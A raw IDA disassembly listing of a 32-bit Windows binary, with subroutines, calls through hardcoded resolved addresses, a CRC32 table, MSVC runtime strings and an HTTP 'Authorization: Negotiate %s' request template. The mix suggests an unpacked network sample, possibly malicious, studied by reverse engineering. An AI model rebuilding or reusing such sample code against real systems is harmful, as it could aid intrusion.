		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi


loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------


loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------


loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2820000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D


loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------


loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax


loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0


loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1


loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C9DC
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------


loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05


loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]


loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBC70
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427938
		push	esi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------


loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CB50C
		push	esi
		push	edi
		call	near ptr 26107B6h
		nop
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax


loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DBC70, eax


loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2610000h
		jmp	loc_426DC6
; ---------------------------------------------------------------------------


loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DBA24
		mov	[ebp+arg_10], eax


loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 281108Ch
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 281108Ch
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DBA14


loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 26107B6h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------


loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax


loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F74o

; FUNCTION CHUNK AT 0040D4A9 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A9
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------


loc_426DF7:				; DATA XREF: sub_40D07Do
		mov	eax, offset dword_427F48
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E0C:				; DATA XREF: ___:00427FA4o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E14:				; DATA XREF: sub_40D21Fo
		mov	eax, offset dword_427F78
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h


loc_426E20:				; DATA XREF: sub_40D78Co
		mov	eax, offset dword_427FA8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428008
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280C4
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280E8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428148
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 25E0000h, 25E1133h, 25F0000h, 25F060Bh, 2600000h, 2600A39h
		dd 2600A6Dh, 2600E54h, 2610000h, 26107B6h, 2620000h, 2620466h
		dd 2620669h, 2630000h, 26302A7h
dword_42703C	dd 26302D1h		; DATA XREF: ___:004231D9r
		dd 263034Dh, 2630559h, 2630582h, 2630684h, 2640000h, 2650000h
		dd 2660000h, 266038Ch, 26608C7h, 77E75CB5h
dword_427068	dd 26608E1h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2660BFCh, 2670000h, 26709BBh
dword_427078	dd 2670EC7h		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Cr ...
dword_42707C	dd 2680000h		; DATA XREF: ___:004015E2r
					; sub_410CD6+32r
		dd 26801B8h
dword_427084	dd 2680253h		; DATA XREF: sub_4196BD+B9r
		dd 26808C0h
dword_42708C	dd 2680932h		; DATA XREF: sub_410FF9:loc_41108Ar
dword_427090	dd 26809A7h		; DATA XREF: ___:loc_4013DCr
		dd 2680D13h, 2680DD8h
dword_42709C	dd 2690000h		; DATA XREF: sub_409B13+2r
		dd 26901BDh, 2690245h
dword_4270A8	dd 269095Dh		; DATA XREF: ___:0040124Dr
					; sub_41A4D2+8Cr
dword_4270AC	dd 2690A0Ah		; DATA XREF: sub_410CD6:loc_410DC2r
		dd 26A0000h, 26A0BBDh
dword_4270B8	dd 26A0C87h		; DATA XREF: sub_409B13:loc_40A021r
dword_4270BC	dd 26B0000h		; DATA XREF: sub_409B13+11r
					; sub_416F1B+60r ...
		dd 26C0000h, 26D0000h, 26D0468h, 26E0000h, 77F7E300h, 77F7E21Fh
		dd 26E0510h, 26E06AAh, 26F0000h, 26F0A85h
dword_4270E8	dd 2700000h		; DATA XREF: sub_410FF9+Br
dword_4270EC	dd 2700842h		; DATA XREF: sub_418294+36r
		dd 2700B3Ch, 2710000h
dword_4270F8	dd 271067Eh		; DATA XREF: sub_410F20+3Ar
					; sub_419C65+79r
dword_4270FC	dd 2720000h		; DATA XREF: sub_410E27+23r
					; sub_419C65+3Br
		dd 2721649h, 2730000h, 2730B5Dh, 2740000h, 274095Fh, 2750000h
		dd 2760000h, 2770000h, 2770C5Eh, 2770F00h, 2780000h, 2780112h
		dd 2780896h, 2780B86h, 2790000h
dword_42713C	dd 27902AEh		; DATA XREF: sub_416F1B+BCr
		dd 27A0000h
dword_427144	dd 27B0000h		; DATA XREF: sub_4170ED+21r
					; sub_417276+4Ar
dword_427148	dd 27B0AD9h		; DATA XREF: sub_4170ED+10r
					; sub_417276+40r ...
		dd 27B0B13h
dword_427150	dd 27B0D84h		; DATA XREF: sub_417276+56r
		dd 27C0000h, 27D0000h, 27E0000h, 27E0702h, 27E0D39h, 27F0000h
		dd 27F0222h, 2800000h, 2800743h, 2810000h
dword_42717C	dd 281108Ch		; DATA XREF: sub_418B59+13r
					; ___:0042324Er ...
dword_427180	dd 2820000h		; DATA XREF: sub_418C2B+Fr
					; sub_41D834+54r ...
		dd 2830000h, 283046Bh, 28308F6h, 2830C18h, 2840000h, 2850000h
		dd 2852159h, 2860000h, 2870000h, 2880000h, 2881746h, 2881754h
		dd 2890000h, 2890C1Bh, 28A0000h
dword_4271C0	dd 28A06C1h		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 28A085Ch		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 28A09E7h, 28B0000h, 28B07E3h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412661+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE3+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427638	dd 2Eh			; DATA XREF: sub_401ACD+347Do
					; sub_401ACD+356Do ...
dword_42763C	dd 2Eh			; DATA XREF: sub_401ACD+389Do
					; sub_401ACD+38D3o ...
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21F+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_427680	dq 1.388888888888889e-2	; DATA XREF: sub_40D031+2Fr
dbl_427688	dq 1.666666666666667e-1	; DATA XREF: sub_40D031+15r
dword_427690	dd 0FFFFFFFFh		; DATA XREF: sub_40D07D+16Fr
					; sub_40D4B1r ...
		align 8
dbl_427698	dq 1.333333333333333	; DATA XREF: sub_40D07D+79r
dword_4276A0	dd 0			; DATA XREF: sub_40D21F+4Do
					; sub_40D561+5Bo ...
flt_4276A4	dd 5.0e-1		; DATA XREF: ___:0040DD34r
dbl_4276A8	dq 9.765625e-4		; DATA XREF: ___:004166B7r
					; ___:004166D2r ...
dbl_4276B0	dq -1.52587890625e-4	; DATA XREF: sub_417ADE+3E5r
dbl_4276B8	dq 3.0517578125e-4	; DATA XREF: sub_417ADE+3C5r
dbl_4276C0	dq -3.0517578125e-4	; DATA XREF: sub_417ADE+342r
					; sub_417ADE+3A7r
dbl_4276C8	dq 1.52587890625e-4	; DATA XREF: sub_417ADE+271r
dbl_4276D0	dq -1.739501953125e-3	; DATA XREF: sub_417ADE+24Br
					; sub_417ADE+2D5r ...
dbl_4276D8	dq 3.11279296875e-3	; DATA XREF: sub_417ADE+E1r
dbl_4276E0	dq 3.0517578125e-5	; DATA XREF: sub_417ADE+AEr
					; sub_417ADE+138r ...
dbl_4276E8	dq 6.103515625e-5	; DATA XREF: sub_417ADE+93r
					; sub_417ADE+308r
dbl_4276F0	dq 2.288818359375e-3	; DATA XREF: sub_417ADE+21r
dbl_4276F8	dq -3.0517578125e-5	; DATA XREF: sub_418685+2Br
flt_427700	dd 9.765625e-4		; DATA XREF: sub_41A4D2+1B0r
flt_427704	dd 8.0			; DATA XREF: sub_41A4D2+1AAr
flt_427708	dd 0.0			; DATA XREF: sub_41A4D2+171r
flt_42770C	dd 1.0e-3		; DATA XREF: sub_41A4D2+168r
dbl_427710	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_427754	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43CBF4o
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43CBF0o
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43CE6Co
dbl_427878	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427880	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427888	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 10h
dword_4278C0	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 10h
		dd offset sub_422228
		dd offset sub_422232
dword_4278E8	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_4278F8	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427908	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 8
		dd offset loc_422599
		dd offset loc_42259D
dword_427920	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 10h
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427938	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427940	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43D03Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 4
asc_427C08	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 8
dword_427C48	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
